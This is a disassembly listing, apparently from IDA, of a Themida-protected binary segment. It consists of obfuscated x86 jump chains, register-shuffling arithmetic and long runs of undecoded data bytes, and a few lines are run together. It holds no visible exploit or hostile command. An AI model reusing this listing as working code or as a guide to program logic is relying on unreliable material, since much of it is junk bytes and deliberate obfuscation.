loc_5A16B1:				; CODE XREF: Themida_:005932B5j
		inc	esi
		jmp	loc_59B6C7
; ---------------------------------------------------------------------------


loc_5A16B7:				; CODE XREF: Themida_:00596868j
		push	ebp
		mov	ebp, 2F9014E8h
		sub	ebp, 47C03A7Ch
		jmp	loc_5A201A
; ---------------------------------------------------------------------------
		dd 0BA241489h, 4, 0FF980FE9h, 0E1568FFh, 0C15E6D94h, 0C68105E6h
		dd 0C2EB9F22h, 505EF289h, 0B87B30B8h, 25D0F77Fh, 6255483Eh
		dd 449A5935h, 0D0C28112h, 810D8331h, 89475CC2h,	23EA8106h
		dd 5029D02Bh, 534D8BB8h, 0ACBA5254h, 315E0348h,	0D8F75AD0h
		dd 21213935h, 0D5BF5724h, 81148307h, 830098EFh,	2E7C12Eh
		dd 0FF816CE9h, 0E8F181FFh, 8149F921h, 4E2BEDE9h, 19C6819Fh
		dd 0E95AA853h, 0FFFEF776h
dword_5A174C	dd 9D1C77FFh, 4105866h,	7FE99C24h		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A175B:				; CODE XREF: Themida_:00595823j
		mov	esi, 7F551ACh
		jmp	loc_594C0A
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 51h
		dd 89FFFFD2h, 43685BDAh, 89000064h, 57B9240Ch, 2904D725h
		dd 240C8BCFh, 0FF358EE9h, 7BE180FFh, 8012E180h,	0ACE980C1h
		db 88h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1793:				; CODE XREF: Themida_:00595EC0j
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_591183
; ---------------------------------------------------------------------------


loc_5A17A3:				; CODE XREF: Themida_:005938C7j
		and	eax, edi
		push	dword ptr [esp]
		jmp	loc_598283
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 0ABh
		dd 0E94F1812h, 0FFFF2ADBh, 0FEE95A58h
		db 32h,	2 dup(0FFh)
byte_5A17BF	db 0ADh			; DATA XREF: Themida_:005909B4o
		dd 0FF9081E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A17C5:				; CODE XREF: Themida_:00598DD4j
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_5A5866
; ---------------------------------------------------------------------------
aWsA		db ']Wé²A',0
		dw 100h
		dd 0C68158C1h, 5C1B2098h, 0FF76DDE9h, 0A2D1B8FFh, 0C331EF4Dh
		dd 22ED8158h, 1747911h,	22C581DDh, 5B747911h, 279E68h
		dd 84E900h
		db 2 dup(0)
word_5A1812	dw 8B66h		; DATA XREF: Themida_:00590920o
		dd 8952240Ch, 436851E2h, 89000037h, 0F3E92414h,	5AFFFFFBh
		dd 95E95455h, 40FFFF2Ch, 0FFD67BE9h, 0ACB850FFh, 1173532h
		dd 24048BC3h, 4C481h, 0BD550000h, 4F96261Bh, 15DEB01h
		dd 1BEB81CBh, 814F9626h, 3532ACEBh, 2434FF17h, 55240C8Bh
		dd 0FF21D1E9h
		db 0FFh
byte_5A1869	db 66h,	8Bh, 4		; DATA XREF: Themida_:005909DCo
aHA		db '$hÊa',0
		align 2
		dw 1489h
		dd 34FF5424h, 39C1E924h, 0E95E0000h, 0FFFF374Bh, 3E1584BAh
		dd 0E8A0E90Ah
		db 2 dup(0FFh)
word_5A188E	dw 0FF64h		; DATA XREF: Themida_:005908E8o
		dd 0F205E932h, 2C89FFFEh, 2474FF24h, 242C8B04h,	334568h
		dd 24348900h, 0C681E689h, 4, 0E904C683h, 1260h
; ---------------------------------------------------------------------------


loc_5A18B8:				; CODE XREF: Themida_:005987FAj
		push	edi
		mov	edi, 36543737h
		neg	edi
		jmp	loc_59EECD
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
aPsd		db 'Pé¤',8,0
		align 2
		dw 0A468h
		dd 0E901DD5Eh, 0FFFFA6E5h, 4C481h, 0F9010000h, 0FF22E2E9h
		dd 8E0C1FFh, 767A7A2Dh,	0D4F9E913h, 159FFFFh, 0C2835DEAh
		dd 0FD83E904h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A18FE:				; CODE XREF: Themida_:00593CECj
		pop	ecx
		push	dword ptr [esp]
		jmp	loc_599F5C
; ---------------------------------------------------------------------------
		db 89h
		dd 83BA2414h, 296A7F20h, 0E9082454h, 0FFFF2052h
; ---------------------------------------------------------------------------


loc_5A1918:				; CODE XREF: Themida_:005A1219j
		push	esi
		mov	esi, 0C6E2C66h
		jmp	loc_595841
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC83241Ch, 10A7E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A192E:				; CODE XREF: Themida_:00592A33j
		xchg	ebp, [esp]
		pop	esp
		pop	eax
		rep movsd
		add	esp, [edx+38h]
		push	3FEBh
		jmp	loc_59BD12
; ---------------------------------------------------------------------------


loc_5A1942:				; CODE XREF: Themida_:0059CE93j
		add	edi, 4573456Ah
		jmp	loc_5A2D54
; ---------------------------------------------------------------------------
		db 29h,	4, 24h
		dd 0F145E99Ch, 0C483FFFEh, 0B4506602h, 3EDEE96Fh, 0E7810000h
		dd 3110F07h, 0FFB89AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A196D:				; CODE XREF: Themida_:00593F2Dj
		pop	eax
		jmp	loc_5A551F
; ---------------------------------------------------------------------------
aXch6p		db 'X–h6P',0
		align 2
		dw 2C89h
		dd 73A4BD24h, 0EDC14C26h, 0D1D5F703h, 136E9E5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A198E:				; CODE XREF: Themida_:0059EAA6j
		pop	esp
		jmp	loc_595178
; ---------------------------------------------------------------------------
		dd 3A0483B8h, 0E9C1016Ch, 0FFFFCB3Ah
; ---------------------------------------------------------------------------


loc_5A19A0:				; CODE XREF: Themida_:005932F2j
					; Themida_:005A036Cj
		push	34D9h
		jmp	loc_5A5439
; ---------------------------------------------------------------------------
		dw 405h
		dd 68000000h, 4CDh, 83240C89h, 148904ECh, 906824h, 0C15A56CDh
		dd 0F4E904E2h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A19CB:				; CODE XREF: Themida_:005972F0j
		pop	ecx
		sub	edx, 4A4863F7h
		shl	edx, 3
		sub	edx, 5EF2304h
		jmp	loc_5A137C
; ---------------------------------------------------------------------------
		dd 0CE68F1F7h, 89000052h
		db 34h
byte_5A19E9	db 24h,	89h, 0E6h	; DATA XREF: Themida_:00590C58o
		dd 485E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A19F1:				; CODE XREF: Themida_:0059B866j
		add	esp, 4
		push	2A21h
		mov	[esp], ebx
		jmp	loc_5A2B10
; ---------------------------------------------------------------------------
		dd 5C241487h, 53240C89h, 7FB13FB7h, 1C8BF930h, 3D7EE924h
		dd 0E951FFFFh, 0FFFF5E5Ah, 3E040C04h, 61345D2Ch, 8058C200h
		dd 0D030E5C2h, 5F54575Ah, 0FF98D8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A1A39:				; CODE XREF: Themida_:0059C1F4j
		mov	eax, 0A950399h
		sub	eax, 21FE42F9h
		neg	eax
		shr	eax, 4
		shr	eax, 8
		add	eax, 7DC0DD6Bh
		xor	esi, eax
		pop	eax
		jmp	loc_591836
; ---------------------------------------------------------------------------
		dd 4C381h, 0C3810000h, 4, 0E9241C87h, 0FFFF220Dh
dword_5A1A6C	dd 24048B66h, 0FF84C3E9h, 242489FFh, 4240483h, 0FF28E958h
					; DATA XREF: Themida_:00590A38o
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1A82:				; CODE XREF: Themida_:0059A06Dj
		push	ecx
		mov	ecx, 56D1389Eh
		xor	ebp, ecx
		pop	ecx
		jmp	loc_598190
; ---------------------------------------------------------------------------
dword_5A1A90	dd 0E932FF66h, 0FFFFAEEEhdword_5A1A98	dd 0A9BFE9ADh, 6857FFFFh, 21B0h, 0B9240C89h, 13EF31A7h
					; DATA XREF: Themida_:00590974o
		dd 4DD5C181h, 0C149123Eh, 0F18103E1h, 316BFBDCh, 0E959CF89h
		dd 0FFFFA9B9h, 4910E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1ACA:				; CODE XREF: Themida_:005912BEj
		sub	ebp, 0EA306414h
		add	ebx, ebp
		pop	ebp
		add	ebx, eax
		push	3B2h
		mov	[esp], edi
		mov	edi, 3CF6196Dh
		or	edi, 0E7B4334h
		push	edx
		mov	edx, 53AC1C1Eh
		or	edx, 4FBD7CCDh
		jmp	loc_5A3E30
; ---------------------------------------------------------------------------


loc_5A1AF9:				; CODE XREF: Themida_:005A5273j
		pop	ebx
		jmp	loc_5911BD
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 0F671E900h, 0C681FFFEh, 5C69D910h, 0FEF5A5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A1B15:				; CODE XREF: Themida_:005A087Ej
		mov	ebx, 3C1B63FAh
		shr	ebx, 5
		push	edx
		jmp	loc_59AB43
; ---------------------------------------------------------------------------
		db 5Dh
		dd 50E68956h, 372B03B8h, 0AF5EE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1B32:				; CODE XREF: Themida_:0059F285j
		mov	esp, [esp]
		jmp	loc_59B349
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 562F7FF9h, 79A1ED81h, 0EF01E9C7h, 4C7815Dh, 0E9000000h
		dd 0FFFF02E2h, 3269E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A1B5A:				; CODE XREF: Themida_:005957ADj
		push	edx
		xor	dword ptr [esp], 1860ECBh
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5947CA
; ---------------------------------------------------------------------------


loc_5A1B70:				; CODE XREF: Themida_:00594CAFj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	238Eh
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	eax, 0F1CFFD88h
		push	eax
		add	dword ptr [esp], 271F7617h
		pop	esi
		sub	esi, 271F7617h
		mov	eax, [esp]
		push	5B68h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5980C7
; ---------------------------------------------------------------------------


loc_5A1BC3:				; CODE XREF: Themida_:00593750j
		pop	ebp
		jmp	loc_591B4F
; ---------------------------------------------------------------------------


loc_5A1BC9:				; CODE XREF: Themida_:005A08D5j
		sub	eax, 273B2834h
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_594591
; ---------------------------------------------------------------------------
		dd 36E9D329h, 81000003h, 4C1h, 4C18300h, 8B240C87h, 99E92424h
		dd 51FFFF7Eh, 0A0E9AEB5h, 89FFFFB7h, 0B7BF243Ch, 8146EA16h
		dd 553F9EC1h, 81F90174h, 553F9EE9h, 0EF055F74h,	10A7E0Ch
		dd 4EC83C8h, 0BA241489h, 0A7E0CEFh, 63E9D029h, 83FFFFD0h
		dd 2C8904ECh, 0E642E924h, 0EB81FFFFh, 4E9B6EF0h, 5BEB8158h
		dd 14F0126h, 48E95BDAh
		db 0EEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A1C53:				; CODE XREF: Themida_:0059B155j
		pop	ebx
		push	ecx
		mov	ecx, 52121C00h
		jmp	loc_59D5EE
; ---------------------------------------------------------------------------
		db 59h
		dd 50BFBD55h, 0F5812C3Dh, 64627865h, 8B5DE929h,	89562434h
		dd 4C681E6h, 81000000h,	4C6h, 24348700h, 0FFF4C6E9h, 5DE95CFFh
		dd 68FFFF05h, 4AD1h, 24048F54h,	4240481h, 5A000000h, 117EBE56h
		dd 0D6F75E23h, 1A5DC681h, 0CE90ADFh, 0FFFFFFDAh, 815B2434h
		dd 4C4h, 74FF5500h, 8F5D0424h, 49E92404h, 8BFFFF2Ah, 0C4832404h
		dd 8AE95304h
		db 5Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1CD7:				; CODE XREF: Themida_:0059BB6Aj
		pop	eax
		jmp	loc_5A14A1
; ---------------------------------------------------------------------------


loc_5A1CDD:				; CODE XREF: Themida_:0059D50Dj
		add	al, dh
		add	al, 0B4h
		push	bx
		mov	bh, 48h
		sub	al, bh
		pop	bx
		pop	edx
		sub	bl, 4Ch
		add	bl, 22h
		add	bl, al
		jmp	loc_5A4B53
; ---------------------------------------------------------------------------
		db 33h
		dd 0C3E9242Ch, 0FFFFF31h, 34FFC0B6h, 0ED91E987h, 1489FFFEh
		dd 0EE7BE924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A1D12:				; CODE XREF: Themida_:0059BA16j
		add	esp, 4
		mov	bl, ch
		mov	ecx, [esp]
		add	esp, 4
		add	al, bl
		jmp	loc_595741
; ---------------------------------------------------------------------------
word_5A1D2A	dw 248Bh		; DATA XREF: Themida_:005907C0o
		dd 6336E924h, 70BFFFFFh, 0E94D4C19h, 0FFFF7721h, 0C7FDEA81h
		dd 40E90203h
		db 31h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1D47:				; CODE XREF: Themida_:0059541Cj
		xchg	ebp, [esp]
		pop	esp
		push	eax
		mov	al, 0F2h
		jmp	loc_597413
; ---------------------------------------------------------------------------
		db 5Ch
		dd 2C381h, 1C870000h, 40E5E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1D62:				; CODE XREF: Themida_:005934B9j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_5A08EE
; ---------------------------------------------------------------------------
		db 58h,	83h, 0C4h
		dd 9ABD5504h, 8143D958h, 0FD3395F5h, 92AE93Bh, 0F781FFFFh
		dd 57AD4A58h, 4CF8E781h, 0F781031Dh, 4125251Fh,	0D255C781h
		dd 0F989BDCEh, 59CE015Fh, 0FF8BF8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A1DAD:				; CODE XREF: Themida_:0059DBB7j
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		jmp	loc_5A2858
; ---------------------------------------------------------------------------


loc_5A1DBE:				; CODE XREF: Themida_:00591BAEj
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_5A1DC3:				; CODE XREF: Themida_:005A2F89j
		xor	ebp, esi
		pop	esi
		add	ebp, 1
		push	0EF9h
		jmp	loc_5A47E9
; ---------------------------------------------------------------------------


loc_5A1DD6:				; CODE XREF: Themida_:005981B3j
		add	edi, 0EB3CD13Bh
		and	eax, edi
		pop	edi
		shl	eax, 2
		xor	eax, 1E1873A2h
		add	eax, 43FF15E1h
		sub	eax, 1
		jmp	loc_5950DF
; ---------------------------------------------------------------------------
		dw 0C780h
		dd 66FA305Ch, 81241C8Bh, 2C4h, 30F0E900h, 0E95FFFFFh, 0FFFFED27h
; ---------------------------------------------------------------------------


loc_5A1E10:				; CODE XREF: Themida_:00599A36j
		pop	ebp
		push	edi
		push	edx
		jmp	loc_59BBC3
; ---------------------------------------------------------------------------
		dd 53F9F75Ch, 0C381E389h, 4, 4EC8157h, 89000000h, 0E268242Ch
		dd 0E9440251h, 0FFFF0D06h, 0B9515542h, 4D09D758h, 0A1E9CD89h
		dd 0E9FFFF36h, 0FFFEEC4Fh, 83243C8Bh, 545504C4h, 0FF2B69E9h
		dd 241C8BFFh, 104C483h,	348759CEh, 0C3315C24h, 2CE9C231h
		dd 29FFFEECh, 54B2E9F5h, 0EC83FFFFh, 24348904h,	0FFC2EBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A1E81:				; CODE XREF: Themida_:005A43C8j
		pop	edi
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_59A4A2
; ---------------------------------------------------------------------------
		db 59h
		dd 83242C8Bh, 348904ECh, 8996E924h
		db 2 dup(0FFh)
word_5A1EA2	dw 34FFh		; DATA XREF: Themida_:005909E4o
		dd 2434FF24h, 0FFAE0BE9h, 58C629FFh, 5C243487h,	0E9240489h
		dd 0FFFFC329h, 0BD242C89h, 5C4A2709h, 0F9E6AF68h, 243C8B08h
		dd 4C481h, 0EF010000h, 5FF8315Dh, 91AEA81h, 0C2814F60h
		dd 2E241A6Ch, 0EA81C201h, 2E241A6Ch, 91AB951h, 7E94F60h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1EF7:				; CODE XREF: Themida_:0059ABB2j
		push	eax
		mov	eax, 760E70C6h
		not	eax
		push	ecx
		mov	ecx, 0BAA733Fh
		neg	ecx
		not	ecx
		inc	ecx
		jmp	loc_59DCEF
; ---------------------------------------------------------------------------
		db 53h
		dd 0FFBE33E9h, 5D515EFFh, 0FFA955E9h, 29EB81FFh, 8B5A712Eh
		dd 3EE92414h, 0FFFFFFF1h, 835A2434h, 0E95504C4h, 0FFFFE90Dh
		dd 7AF4E981h, 0CA31DFDBh, 0BDEA8159h, 513657D4h, 1C1731B9h
		dd 0FFCE2969h, 7CE92434h, 89FFFF16h, 4832424h, 148B0424h
		dd 4C48124h, 57000000h,	4BFh, 5FFA0100h, 4BF57h, 0EA810000h
		dd 166A29A6h, 0FF4F1FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A1F81:				; CODE XREF: Themida_:0059F9D1j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_592AC2
; ---------------------------------------------------------------------------
		db 4Ah,	81h, 0C2h
		dd 0B7AE1028h, 89D38953h, 24E95BDEh, 89000023h,	0B9512414h
		dd 48244156h, 0B0E9CA89h, 87000027h, 0E95C243Ch, 0FFFF63C4h
		dd 0A6F7815Fh, 0E920C624h, 0FFFF31A0h
; ---------------------------------------------------------------------------


loc_5A1FC4:				; CODE XREF: Themida_:00591E25j
		mov	edx, 3752263Bh
		mov	esi, 0C8ADD9C9h
		add	esi, edx
		pop	edx
		add	edx, esi
		pop	esi
		jmp	loc_595BF7
; ---------------------------------------------------------------------------


loc_5A1FD9:				; CODE XREF: Themida_:0059CB84j
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	ecx
		push	eax
		push	748Ch
		jmp	loc_59315C
; ---------------------------------------------------------------------------


loc_5A1FEE:				; CODE XREF: Themida_:005A14E0j
		mov	[esp], eax
		jmp	loc_5938E9
; ---------------------------------------------------------------------------


loc_5A1FF6:				; CODE XREF: Themida_:0059565Ej
		mov	edx, 9DDADF37h
		push	ebx
		mov	ebx, 57A86A9Bh
		xor	ebx, 639556C4h
		sub	ebx, 791F6C2Fh
		xor	ebx, 0CAE8BAF7h
		sub	edx, ebx
		jmp	loc_5A2CCC
; ---------------------------------------------------------------------------


loc_5A201A:				; CODE XREF: Themida_:005A16C3j
		sub	ebp, 0E7CFDA6Bh
		add	edx, ebp
		jmp	loc_5930D7
; ---------------------------------------------------------------------------
		db 51h
		dd 268h, 2434FF00h, 4C48359h, 0D7E9C801h, 1FFFEF1h, 0A3C281CAh
		dd 59069A6Bh, 31241433h, 14332414h, 48F5C24h, 24248B24h
		dd 0FF240489h, 525B2434h, 0C281E289h, 4, 0FFCA42E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A2069:				; CODE XREF: Themida_:0059FE51j
		mov	[esp], esi
		mov	esi, 439B1336h
		mov	ecx, esi
		jmp	loc_595375
; ---------------------------------------------------------------------------


loc_5A2078:				; CODE XREF: Themida_:005A0BD5j
		not	dword ptr [esp]
		pop	ecx
		jmp	loc_5A32E8
; ---------------------------------------------------------------------------
		db 2Ch,	0CFh, 8Bh
		dd 0C483241Ch, 2434FF04h, 83240C8Bh, 60E904C4h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2097:				; CODE XREF: Themida_:005A0B09j
		xor	ebx, ecx
		jmp	loc_596F0D
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 0A3BB15F2h, 0E9D7891Bh, 0FFFEFDECh
; ---------------------------------------------------------------------------


loc_5A20AC:				; CODE XREF: Themida_:0059AD4Fj
		add	eax, 3199541Eh
		sub	eax, ebx
		push	ebx
		jmp	loc_599B1B
; ---------------------------------------------------------------------------


loc_5A20B9:				; CODE XREF: Themida_:00594582j
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		add	ebx, ecx
		pop	ecx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		xor	[esp], ax
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
		dd 4E2C142h, 0A541EA81h, 0C6812923h, 61A257A3h,	85E9D601h
		dd 68FFFF14h, 0E52344Ah, 53D2F75Ah, 8904EC83h, 0D0682434h
		dd 0E9035378h, 0FFFFDF21h, 0D8007B04h, 0B2527B2Ch, 802CE9B1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A211E:				; CODE XREF: Themida_:00591D30j
		push	ebx
		jmp	loc_598DD9
; ---------------------------------------------------------------------------
		dd 8B54535Bh, 0C483241Ch, 4EC8304h, 0B8240489h,	4, 0FF66FAE9h
		dd 5B5853FFh, 0FFD5D7E9h, 8BD701FFh, 0C4832414h, 243C3304h
		dd 33243C31h, 248B243Ch, 0E93DE924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A215E:				; CODE XREF: Themida_:0059F998j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_59A43F
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 405h, 4BE5600h, 1000000h, 0FF505EF0h, 8B042474h, 0C4832404h
		dd 24048F04h, 0E905E95Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A2196:				; CODE XREF: Themida_:0059AC43j
		push	ebx
		jmp	loc_596AC1
; ---------------------------------------------------------------------------


loc_5A219C:				; CODE XREF: Themida_:00592933j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_5930E3
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 38h
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A21B7:				; CODE XREF: Themida_:0059BD15j
		push	1DD7h
		jmp	loc_594016
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 53h
		dd 812F0718h, 1C5526EFh, 72E95E6Dh, 8BFFFFB5h, 34FF2424h
		dd 0F08AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A21DE:				; CODE XREF: Themida_:005914EFj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xchg	eax, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	0E3Eh
		jmp	loc_59BF44
; ---------------------------------------------------------------------------
		db 58h
		dd 0C8BCB28h, 4C48124h,	81000000h, 2ECh, 0CFD7E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2226:				; CODE XREF: Themida_:0059CC63j
		pop	esp
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5A2DBF
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 0E6895624h, 4C681h, 0EE810000h, 4, 0E9243433h, 19D7h
		dd 2C8BEB01h, 0E2895224h, 4C281h, 0EC830000h, 24348904h
		dd 4BEh, 5EF20100h, 5C241487h, 2474FF53h, 241C8B04h, 148B5452h
		dd 0D593E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A227E:				; CODE XREF: Themida_:0059AF1Ej
		push	1896h
		mov	[esp], ebp
		push	2CCh
		mov	[esp], esp
		push	2BF7h
		jmp	loc_59EF4C
; ---------------------------------------------------------------------------
		dd 5204C483h, 410B68h, 241C8900h, 5124148Bh, 0C181E189h
		dd 4, 4C181h, 0C870000h, 815B5C24h, 5D1812F2h, 104E2D5Fh
		dd 0D001196Bh, 6B104E05h, 2434FF19h, 0E92434FFh, 0FFFF0086h
; ---------------------------------------------------------------------------


loc_5A22D8:				; CODE XREF: Themida_:0059A698j
		mov	eax, [esp]
		push	2715h
		jmp	loc_5A3379
; ---------------------------------------------------------------------------
		db 87h,	4, 24h
		dd 536E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A22ED:				; CODE XREF: Themida_:0059CB8Aj
		add	esi, ecx
		sub	esi, 29DF605Ah
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_591465
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 4, 8B243C87h, 34892424h, 83E68924h, 148904ECh, 447DBA24h
		dd 0E2812DC2h, 5CC93379h, 0E281DAF7h, 79BF4DCCh, 4D80EA81h
		dd 0D601713Fh, 3AE9555Ah, 8BFFFF4Bh, 0C4812414h, 4, 0FF9B12E9h
		dd 243C89FFh, 0FF770CE9h, 0E735E9FFh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A2366:				; CODE XREF: Themida_:005914C9j
		add	esi, eax
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_59DEEA
; ---------------------------------------------------------------------------
		dd 0E67391B9h, 0ECBB5364h, 812C8665h, 0AD6381F3h, 55EB815Bh
		dd 0E960A1C9h, 0FFFF2C62h
; ---------------------------------------------------------------------------


loc_5A2390:				; CODE XREF: Themida_:005A472Cj
		shr	ebx, 7
		sub	ebx, 3D604A6Ch
		inc	ebx
		inc	ebx
		jmp	loc_592938
; ---------------------------------------------------------------------------
		dd 10833540h, 0F0D57E1h, 0E9342C04h, 0FFFF8019h, 53C6F681h
		dd 0EC812D9Bh, 4, 0BB241C89h, 78130FABh, 0FFDB75E9h, 25E949FFh
		dd 50FFFF96h, 937CE168h, 18055857h, 89BC26C9h, 0EA9E9C2h
		dd 2489FFFFh, 24048324h, 5F685904h, 0E9000035h,	0FFFF0BF2h
		dd 3CE95966h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A23FB:				; CODE XREF: Themida_:00590C4Aj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 493C6FD8h
		push	ebp
		jmp	loc_59A41F
; ---------------------------------------------------------------------------


loc_5A240F:				; CODE XREF: Themida_:0059C1E6j
		shl	dl, 5
		dec	dl
		not	dl
		neg	dl
		shr	dl, 5
		shl	dl, 2
		push	ecx
		mov	ch, 98h
		push	ebx
		mov	bh, 99h
		add	ch, bh
		pop	ebx
		jmp	loc_59B957
; ---------------------------------------------------------------------------


loc_5A242C:				; CODE XREF: Themida_:0059530Ej
		xor	ebx, esi
		pop	esi
		jmp	loc_59292F
; ---------------------------------------------------------------------------
		dd 0D4E9D089h, 8FFFFF31h, 248B2404h, 0D9A0E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2446:				; CODE XREF: Themida_:00597FAEj
		add	eax, 23D70941h
		pop	ebp
		jmp	loc_59E8F8
; ---------------------------------------------------------------------------


loc_5A2451:				; CODE XREF: Themida_:005A277Dj
		push	4
		jmp	loc_5A1132
; ---------------------------------------------------------------------------
		db 89h
		dd 0BBF243Ch, 10818FDh,	0D9315FFBh, 83241C8Bh, 4F8904C4h
		dd 5FF75920h, 20B85020h, 1000000h, 0BCCE9F8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A2482:				; CODE XREF: Themida_:005A300Ej
		push	eax
		mov	ah, 4Ch
		jmp	loc_5A0ADB
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 15553629h, 0FFD0DBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A2495:				; CODE XREF: Themida_:0059E239j
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_59C42A
; ---------------------------------------------------------------------------
		dd 0C89665Ch, 0E5F1E924h, 3540FFFEh, 73F1479h, 8358C101h
		dd 0C8702C1h, 956AE924h, 9068FFFFh, 59274C2Ah, 2A92F181h
		dd 0CB89274Ch, 57BB5359h, 81621914h, 0C31B1BC3h, 8E0EE91Ch
		dd 0E889FFFFh, 4E8C15Dh, 175DF80Dh, 40D8F72Eh, 0AB676105h
		dd 67B5E952h, 0E959FFFFh, 0FFFFEFF3h, 8105E3C1h, 0E91ACCF3h
		dd 51C38165h, 1203463h,	0CD895BD9h, 14F75559h, 2434FF24h
		dd 4C4815Dh, 0E9000000h, 0FFFF13DCh
; ---------------------------------------------------------------------------


loc_5A2524:				; CODE XREF: Themida_:0059D530j
		pop	esp
		push	esi
		push	0
		pop	esi
		sub	esi, edi
		xchg	esi, edi
		pop	esi
		or	edi, 5E13512Ah
		dec	edi
		sub	edi, 1
		push	6177h
		mov	[esp], eax
		mov	eax, 9350FAD4h
		add	edi, eax
		mov	eax, [esp]
		jmp	loc_5A4C8E
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 1F110948h
		shl	edi, 8
		jmp	loc_5978A8
; ---------------------------------------------------------------------------


loc_5A2569:				; CODE XREF: Themida_:00596935j
		sub	ebx, 557275EEh
		add	ebx, esi
		jmp	loc_599639
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 0D82756C3h, 0DB9EE94Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2582:				; CODE XREF: Themida_:005912B6j
		pop	ecx
		add	ebx, eax
		add	ebx, 14BF68F9h
		sub	ebx, 478D574Fh
		push	edi
		mov	edi, 61DC0069h
